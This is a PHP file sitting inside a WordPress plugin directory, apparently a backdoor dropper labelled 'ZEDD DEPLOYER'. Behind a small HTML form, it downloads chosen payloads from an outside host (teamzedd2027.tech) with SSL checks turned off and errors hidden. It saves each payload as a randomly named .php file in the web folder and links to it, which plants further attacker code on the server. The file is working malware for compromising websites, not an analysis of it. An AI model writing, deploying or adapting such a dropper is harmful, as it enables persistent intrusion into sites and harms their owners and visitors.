File: /opt/bitnami/wordpress/wp-content/plugins/zeddnos/m/dw3.php
<?php
/**
* ZEDD DEPLOY - ANTI 500 & HIGH COMPATIBILITY
*/
error_reporting(0);
@ini_set('display_errors', 0);
@set_time_limit(0);
$remoteFiles = [
"FILE 01" => "https://teamzedd2027.tech/listproject/list/1.txt",
"FILE 02" => "https://teamzedd2027.tech/listproject/list/2.txt",
"FILE 03" => "https://teamzedd2027.tech/listproject/list/3.txt",
"FILE 04" => "https://teamzedd2027.tech/listproject/list/4.txt",
"FILE 05" => "https://teamzedd2027.tech/listproject/list/5.txt",
];
// Fungsi generate nama random yang lebih aman (Cegah error PHP lama)
function get_random_name() {
if (function_exists('random_bytes')) {
$seed = bin2hex(random_bytes(3));
} else {
$seed = substr(md5(mt_rand()), 0, 6);
}
return 'zedd_' . $seed . '.php';
}
function universalDownload($url, $dest) {
// METHOD 1: cURL (Paling Stabil)
if (function_exists('curl_init')) {
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_TIMEOUT => 30,
CURLOPT_USERAGENT => 'Mozilla/5.0'
]);
$data = curl_exec($ch);
curl_close($ch);
if ($data && file_put_contents($dest, $data)) return true;
}
// METHOD 2: file_get_contents (Support SSL Bypass)
$ctx = stream_context_create([
"ssl" => ["verify_peer" => false, "verify_peer_name" => false],
"http" => ["timeout" => 30]
]);
$data = @file_get_contents($url, false, $ctx);
if ($data !== false && $data !== "") {
if (@file_put_contents($dest, $data)) return true;
}
// METHOD 3: FOPEN Read
$rh = @fopen($url, 'rb', false, $ctx);
if ($rh) {
$wh = @fopen($dest, 'wb');
if ($wh) {
while (!feof($rh)) {
@fwrite($wh, @fread($rh, 8192));
}
@fclose($wh);
}
@fclose($rh);
if (file_exists($dest) && filesize($dest) > 0) return true;
}
return false;
}
$res = "";
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['target'])) {
$key = $_POST['target'];
if (isset($remoteFiles[$key])) {
$name = get_random_name();
$path = __DIR__ . '/' . $name;
if (universalDownload($remoteFiles[$key], $path)) {
$res = "<p style='color:lime'>✅ Success: <a href='$name' style='color:white'>$name</a></p>";
} else {
$res = "<p style='color:red'>❌ Gagal! Cek Permission atau Firewall Server.</p>";
}
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>DEPLOYER</title>
<style>
body { background: #111; color: #eee; font-family: sans-serif; text-align: center; padding-top: 50px; }
select, button { padding: 10px; border-radius: 5px; border: none; }
button { background: #7c3aed; color: white; cursor: pointer; font-weight: bold; }
.box { background: #222; display: inline-block; padding: 30px; border-radius: 15px; border: 1px solid #444; }
</style>
</head>
<body>
<div class="box">
<h2>ZEDD DEPLOYER</h2>
<?= $res ?>
<form method="POST">
<select name="target" required>
<option value="">-- Pilih File --</option>
<?php foreach ($remoteFiles as $k => $v): ?>
<option value="<?= $k ?>"><?= $k ?></option>
<?php endforeach; ?>
</select>
<button type="submit">DEPLOY</button>
</form>
</div>
</body>
</html>